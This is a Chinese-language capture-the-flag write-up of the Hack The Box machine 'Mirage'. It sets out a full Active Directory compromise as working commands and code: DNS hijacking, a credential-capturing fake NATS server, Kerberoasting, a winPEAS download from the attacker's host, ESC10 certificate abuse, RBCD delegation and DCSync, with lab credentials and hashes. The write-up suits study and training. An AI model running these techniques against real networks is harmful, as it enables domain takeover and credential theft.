当前位置: 首页 > news >正文

HTB赛季8靶场 - Mirage

在这里插入图片描述

nmap扫描

nmap -F -A 10.129.108.73
nmap -p- --min-rate 1000 -T4 10.129.108.73 -oA nmapfullscan 
nmap -p- --min-rate 1000 -T4 10.129.108.73 -sU -oA nmapfullscanUDPPORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-07-21 08:02:38Z)
111/tcp  open  rpcbind       2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/tcp6  rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  2,3,4        111/udp6  rpcbind
|   100003  2,3         2049/udp   nfs
|   100003  2,3         2049/udp6  nfs
|   100003  2,3,4       2049/tcp   nfs
|   100003  2,3,4       2049/tcp6  nfs
|   100005  1,2,3       2049/tcp   mountd
|   100005  1,2,3       2049/tcp6  mountd
|   100005  1,2,3       2049/udp   mountd
|   100005  1,2,3       2049/udp6  mountd
|   100021  1,2,3,4     2049/tcp   nlockmgr
|   100021  1,2,3,4     2049/tcp6  nlockmgr
|   100021  1,2,3,4     2049/udp   nlockmgr
|   100021  1,2,3,4     2049/udp6  nlockmgr
|   100024  1           2049/tcp   status
|   100024  1           2049/tcp6  status
|   100024  1           2049/udp   status
|_  100024  1           2049/udp6  status
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: mirage.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.mirage.htb, DNS:mirage.htb, DNS:MIRAGE
| Not valid before: 2025-07-04T19:58:41
|_Not valid after:  2105-07-04T19:58:41
|_ssl-date: TLS randomness does not represent time
445/tcp  open  microsoft-ds?
2049/tcp open  nlockmgr      1-4 (RPC #100021)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94SVN%E=4%D=7/20%OT=53%CT=7%CU=30807%PV=Y%DS=2%DC=T%G=Y%TM=687D
OS:92ED%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=106%TI=I%CI=I%II=I%SS=S%
OS:TS=A)SEQ(SP=105%GCD=1%ISR=107%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=107%GCD=1%
OS:ISR=109%TI=I%CI=I%II=I%SS=S%TS=A)SEQ(SP=108%GCD=1%ISR=109%TI=I%CI=I%II=I
OS:%SS=S%TS=A)OPS(O1=M542NW8ST11%O2=M542NW8ST11%O3=M542NW8NNT11%O4=M542NW8S
OS:T11%O5=M542NW8ST11%O6=M542ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FF
OS:FF%W6=FFDC)ECN(R=Y%DF=Y%T=80%W=FFFF%O=M542NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=8
OS:0%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(
OS:R=Y%DF=Y%T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F
OS:=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%
OS:T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD
OS:=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE
OS:(R=Y%DFI=N%T=80%CD=Z)Network Distance: 2 hops
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windowsStarting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-20 21:05 EDT
Warning: 10.129.108.73 giving up on port because retransmission cap hit (6).
Stats: 0:01:32 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 95.52% done; ETC: 21:06 (0:00:04 remaining)
Nmap scan report for 10.129.108.73
Host is up (0.41s latency).
Not shown: 65505 closed tcp ports (reset)
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
111/tcp   open  rpcbind
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
2049/tcp  open  nfs
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
4222/tcp  open  vrml-multi-use
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
60842/tcp open  unknown
60853/tcp open  unknown
60854/tcp open  unknown
60871/tcp open  unknown
63461/tcp open  unknown
63488/tcp open  unknown
63609/tcp open  unknown
63628/tcp open  unknown

nfs枚举&挂载

我们发现了NFS端口服务,先去看看

showmount -e 10.129.108.73
sudo mount -t nfs 10.129.108.73:'/MirageReports' '/home/kali/Desktop/HTB/mirage/nfs' -o nolock

qpdf绕过pdf acl

我们发现了两个pdf文件,全部cp出来。

#注意不要使用-a 因为我们没有相关的能力设置相同的配置
┌──(kali㉿kali)-[~/Desktop/HTB/mirage/nfs]
└─$ sudo cp * ../sudo qpdf Incident_Report_Missing_DNS_Record_nats-svc.pdf test.pdf

我们在文件中发现一个子域名,我们去访问这台机

nats-svc.mirage.htb

![[Pasted image 20250721092952.png]]

我们还发现当前域正在废除所有的NTLM认证,Kerb认证将成为主流。
![[Pasted image 20250721093222.png]]

查询域名,我们发现当前域名不存在,那么我们可能可以劫持这个域名

└─$ dig nats-svc.mirage.htb @10.129.108.73 ; <<>> DiG 9.20.2-1-Debian <<>> nats-svc.mirage.htb @10.129.108.73
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 26492
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;nats-svc.mirage.htb.           IN      A;; AUTHORITY SECTION:
mirage.htb.             3600    IN      SOA     dc01.mirage.htb. hostmaster.mirage.htb. 156 900 600 86400 3600;; Query time: 360 msec
;; SERVER: 10.129.108.73#53(10.129.108.73) (UDP)
;; WHEN: Sun Jul 20 21:34:30 EDT 2025
;; MSG SIZE  rcvd: 110

nsupdate添加DNS域名

因为pdf文件中说这个域名是关键重要系统的域名,并且常常在通讯,那么我们如果伪装成这个域名,作为中间人就很可能窃取到一些有趣的内容。

┌──(kali㉿kali)-[~/Desktop/HTB/mirage]
└─$ nsupdate   
> server 10.129.108.73
> update add nats-svc.mirage.htb 3600 A 10.10.16.2
> send

![[Pasted image 20250721102603.png]]

伪造NATS服务器

绑定成功后我们使用GPT生成了一个伪造的NATS服务器

import socket
import threadingHOST = '0.0.0.0'
PORT = 4222  # 默认 NATS 端口def handle_client(conn, addr):print(f"[+] Connection from {addr}")# 发送伪造的 INFO 包(符合 NATS 协议规范)info = ('INFO {"server_id":"FAKE123","version":"2.9.9","proto":1,''"go":"go1.20.0","host":"fake-nats","port":4222,"max_payload":1048576}\r\n')conn.send(info.encode())try:while True:data = conn.recv(4096)if not data:breakprint(f"[DATA] {addr} >>> {data.decode(errors='ignore')}")except Exception as e:print(f"[!] Error from {addr}: {e}")finally:conn.close()print(f"[-] Connection closed: {addr}")def start_server():print(f"[*] Starting fake NATS server on {HOST}:{PORT}")with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:s.bind((HOST, PORT))s.listen()while True:conn, addr = s.accept()thread = threading.Thread(target=handle_client, args=(conn, addr))thread.start()if __name__ == '__main__':start_server()

开启服务器

python fake_nats.py

![[Pasted image 20250721102837.png]]

只能说GPT老师还是太全面了,我们成功获取账密

Dev_Account_A/hx5h7F5554fP@1337!

NATS exploit

NATS服务 Exploit .NATS服务式消息服务,以主题作为中心,将消息分发。我们发现了这个NATS服务里面有一个auth_log主题,和认证日志相关的内容我们当然感兴趣。所以我们构造下面语句去获取这个主题的历史数据。

#本地创建快捷账号
natscli --user='Dev_Account_A' --password='hx5h7F5554fP@1337!' --server nats://dc01.mirage.htb:4222 context add dev-nats#订阅所有主题
natscli --context dev-nats sub ">" --count 10#创建jetstream消费者
natscli --context dev-nats consumer add auth_logs audit-reader --pull --ack=explicit#拉取订阅主题的历史数据
natscli --context dev-nats consumer next auth_logs audit-reader --count=5 --wait=5s --ack  

![[Pasted image 20250721133149.png]]

我们获取到了用户david.jjackson的账户

david.jjackson/pN8kQmn6b86!1234@

我们快速确定ldap信息,并发现这是一个域账户。太棒了我们进入域层面进行渗透。

nxc ldap dc01.mirage.htb -u david.jjackson -p 'pN8kQmn6b86!1234@' -k

Bloodhound提取域地图

bloodhound-python -d mirage.htb -dc dc01.mirage.htb -c All -u david.jjackson -p 'pN8kQmn6b86!1234@' --dns-timeout 10 -k 

godap查明域详细信息

./godap 10.129.108.73 -u david.jjackson -p 'pN8kQmn6b86!1234@' -d mirage.htb  

分析了域地图后,我们发现david.jjackson这个用户没有什么非常关键的权限。

impacket-GetUserSPNs获取所有SPN用户

impacket-GetUserSPNs mirage.htb/david.jjackson:'pN8kQmn6b86!1234@' -target-domain mirage.htb -save -debug -dc-ip 10.129.108.73 -request -dc-host dc01.mirage.htb -k

hashcat破解账密

我们要获取到了一个nathan.aadam用户的hash摘要,我们拿取离线破解。

hashcat -a 0 -m 13100 hash/nathan.aadam  /home/kali/Desktop/Info/zhuzhuzxia/Passwords/rockyou.txt nathan.aadam:'3edc#EDC3'

![[Pasted image 20250721145335.png]]

evil-winrm登录

域地图中指示nathan.aadam这个用户则有趣的多,他是IT_admin,exchange_admin,远程登录组,所以我们可能可以在SMB或者exchange还有DC01主机上进一步信息搜集。

#获取TGT票据和ST票据
impacket-getTGT mirage.htb/nathan.aadam:'3edc#EDC3' -dc-ip 10.129.108.73 -debug#横向
export KRB5CCNAME=/home/kali/Desktop/HTB/mirage/nathan.aadam.ccache   
evil-winrm -i dc01.mirage.htb  -r mirage.htb

传输winpeas

我们在DC01服务器上面的winrmshell上进行信息搜集。

(New-Object Net.WebClient).DownloadFileAsync('http://10.10.16.2/winPEASx64.exe', 'C:\tool\winPEASx64.exe')

winpeas万岁!获取AutoLogon 凭证
![[Pasted image 20250721161247.png]]

mark.bbond:'1day@atime'

![[Pasted image 20250721161400.png]]

分析域地图

![[Pasted image 20250721161606.png]]

![[Pasted image 20250721162056.png]]

上图意味着,用户mark可以修改账户javier的账密,也可以激活用户
![[Pasted image 20250721161707.png]]

上图意味着可以读取GMSAPassword。GMSAPassword是一种特殊账号的密码,域控会自动轮换他们的密码,这些账户通常会用户高权限活动。下面开始开展攻击

bloodyAD开启用户 & 修改用户密码

#获取tgt
impacket-getTGT mirage.htb/mark.bbond:'1day@atime' -dc-ip 10.129.108.73 #bloodyAD开启禁用用户
export KRB5CCNAME=mark.bbond.ccache
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' --dc-ip 10.129.108.73 remove uac javier.mmarshall -f ACCOUNTDISABLE #bloodyAD修改用户密码
bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' --dc-ip 10.129.108.73 set password javier.mmarshall '1ydx@atime'

ldapmodify添加参数 - 解锁用户

#ldapmodify添加参数
ldapmodify -H ldap://10.129.108.73 -D "mark.bbond@mirage.htb" -w '1day@atime' -f logonhours.ldif##logonhours.ldif文件
dn: CN=javier.mmarshall,OU=Users,OU=Disabled,DC=mirage,DC=htb
changetype: modify
replace: logonHours
logonHours:: ////////////////////////////

impacket & bloodyAD快速读取GMSAPassword密码


#获取TGT
impacket-getTGT mirage.htb/javier.mmarshall:'1ydx@atime' -dc-ip 10.129.108.73 nxc ldap 10.129.108.73 -u javier.mmarshall -p '1ydx@atime' --gmsa -k -d mirage.htb --kdcHost dc01.mirage.htbbloodyAD -k --host dc01.mirage.htb -d 'mirage.htb' -u 'javier.mmarshall' -p '1ydx@atime' get object 'Mirage-Service$' --attr msDS-ManagedPassword

impacket获取TGT

impacket-getTGT mirage.htb/Mirage-Service$ -hashes aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866 -dc-ip 10.129.108.73 

ESC10探测

我们获取到了Mirage-Service账户的hashes,但这个账户没有远程登录权限,而且仅仅hashes让我们无法使用runascs完成角色转换动作。我们继续在DC01上进行信息搜集,发现ESC10问题。

reg query HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel
reg query HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc
reg query HKLM\SYSTEM\CurrentControlSet\Services\Kdc

StrongCertificateBindingEnforcement 配置为 0。如果 CertificateMappingMethods 包含 UPN 位 (0x4)。那么就存在ESC10
![[Pasted image 20250722112141.png]]

想要完成ESC10,我们还缺少一个userPrincipalName可控账户,所幸的是Mirage-Service$ 可以修改 mark.bbonduserPrincipalName,因为它在 mark.bbond 对象上拥有对 Public-Information (property set)WRITE_PROP 权限,而 UPN 正属于该属性集中的一项。

bloodyAD -k --host dc01.mirage.htb -d mirage.htb -u mark.bbond -p '1day@atime' --dc-ip 10.129.108.73 get object mark.bbond --resolve-sd   

![[Pasted image 20250722123152.png]]

ESC10攻击

#修改被控用户的userPrincipalName
export KRB5CCNAME=Mirage-Service$.ccache
certipy-ad account update -username Mirage-Service$ -hashes aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866 -k -no-pass -user mark.bbond -upn 'DC01$@mirage.htb' -dc-host dc01.mirage.htb -target-ip 10.129.108.73 -ns 10.129.108.73 -target dc01.mirage.htb#请求一个被控用户的User模板
export KRB5CCNAME=mark.bbond.ccache
certipy-ad req -ca 'mirage-DC01-CA' -username mark.bbond -password '1day@atime' -dc-host dc01.mirage.htb -target-ip 10.129.108.73 -ns 10.129.108.73 -target dc01.mirage.htb -k -no-pass#恢复原值(主线过程不可忽略)
export KRB5CCNAME=Mirage-Service$.ccache
certipy-ad account update -username Mirage-Service$ -hashes aad3b435b51404eeaad3b435b51404ee:305806d84f7c1be93a07aaf40f0c7866 -k -no-pass -user mark.bbond -upn 'mark.bbond@mirage.htb' -dc-host dc01.mirage.htb -target-ip 10.129.108.73 -ns 10.129.108.73 -target dc01.mirage.htb#开启shell,以DC01权限设置资源委派
└─$ certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.108.73 -ns 10.129.108.73 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)[*] Certificate identities:
[*]     SAN UPN: 'DC01$@mirage.htb'
[*]     Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.108.73:636'
[*] Authenticated to '10.129.108.73' as: 'u:MIRAGE\\DC01$'
Type help for list of commands# set_rbcd dc01$ nathan.aadam
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000Found Grantee DN: CN=nathan.aadam,OU=Users,OU=Admins,OU=IT_Staff,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1110

RBCD攻击

我们已经设置了nathan.aadam可代表DC01,所以我们开始拿着nathan.aadam的TGT票据,然后发起S4U2self攻击,我们希望代表DC01$访问自己,从而获取了一张DC01$访问自己的TGS票据。接着我们在发起S4U2Proxy攻击,我们拿着nathan.aadam TGT和 代表DC01$访问自己 TGS希望访问的cifs/dc01.mirage.htb。
KDC会开始验证,我们模拟的用户是谁?S4U2self攻击产生的TGS将解决这个问题
cifs/dc01.mirage.htb的服务账户是谁?DC01$
DC01$是否允许nathan.aadam代表自己?是的
于是KDC给予有效的TGS,并且TGS是代表DC01的访问票据,也就是说TGT本质上是DC01$的

impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate 'dc01$' -dc-ip 10.129.108.73 'mirage.htb/nathan.aadam' -k -no-pass    

impacket-secretsdump DCsync攻击

#使用DC01身份发起DCsync攻击
export KRB5CCNAME=dc01\$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache 
impacket-secretsdump -just-dc-user Administrator -k -no-pass dc01.mirage.htb#获取Administrator账户TGT
impacket-getTGT mirage.htb/Administrators -dc-ip 10.129.108.31 -hashes aad3b435b51404eeaad3b435b51404ee:7be6d4f3c2b9c0e3560f5a29eeb1afb3 -debug#登录DC01主机
export KRB5CCNAME=Administrator.ccache
evil-winrm -i dc01.mirage.htb  -r mirage.htb 
http://www.lryc.cn/news/596400.html

相关文章:

  • 风险识别清单:构建动态化的风险管理体系
  • Java函数式编程深度解析:从基础到高阶应用
  • 技能系统详解(4)——运动表现
  • 哔哩哔哩视觉算法面试30问全景精解
  • 钢铁逆行者:Deepoc具身智能如何重塑消防机器人的“火场直觉”
  • 【中文翻译】SmolVLA:面向低成本高效机器人的视觉-语言-动作模型
  • Vue 3 响应式系统中的 effectScope、watchEffect、effect 和 watch 详解
  • 如何将iPad中的视频传输到电脑(6种简单方法)
  • 单片机学习笔记.单总线one-wire协议(这里以普中开发板DS18B20为例)
  • rabbitmq 03
  • uniapp 报错 Not found ... at view.umd.min.js:1的问题
  • LWIP学习记录2——MAC内核
  • Linux系统安装Bash自动补全(bash-completion)
  • 基于SpringBoot+Uniapp的非遗文化宣传小程序(AI问答、协同过滤算法、Echarts图形化分析)
  • uniapp请求封装上传
  • 最新植物大战僵尸杂交版最新版本2.5.1版,内置触屏+加速+全屏,附PC+安卓+iOS最全安装教程!
  • C#文件操作(创建、读取、修改)
  • Java学习-------事务失效
  • 从“点状用例”到“质量生态”:现代软件测试的演进、困局与破局
  • Vue3 学习教程,从入门到精通,Vue3 循环语句(`v-for`)语法知识点与案例详解(13)
  • C# 属性
  • XSS(跨站脚本)
  • CPU 密集型 和 I/O 密集型 任务
  • 达梦数据库表字段增加时报错[-2106]:无效的表或视图名,[-2116]:列[IS_REPEAT]已存在
  • 【C++】第十八节—一文万字详解 | map和set的使用
  • 如何搭建appium工具环境?
  • Go的异常处理+文件处理
  • JAVA API (三):从基础爬虫构建到带条件数据提取 —— 详解 URL、正则与爬取策略
  • M3088NL是一款网络滤波器/变压器支持100M和1000M网络环境,适用于高速网络传输场景M3088
  • 在腾讯云上安装gitlab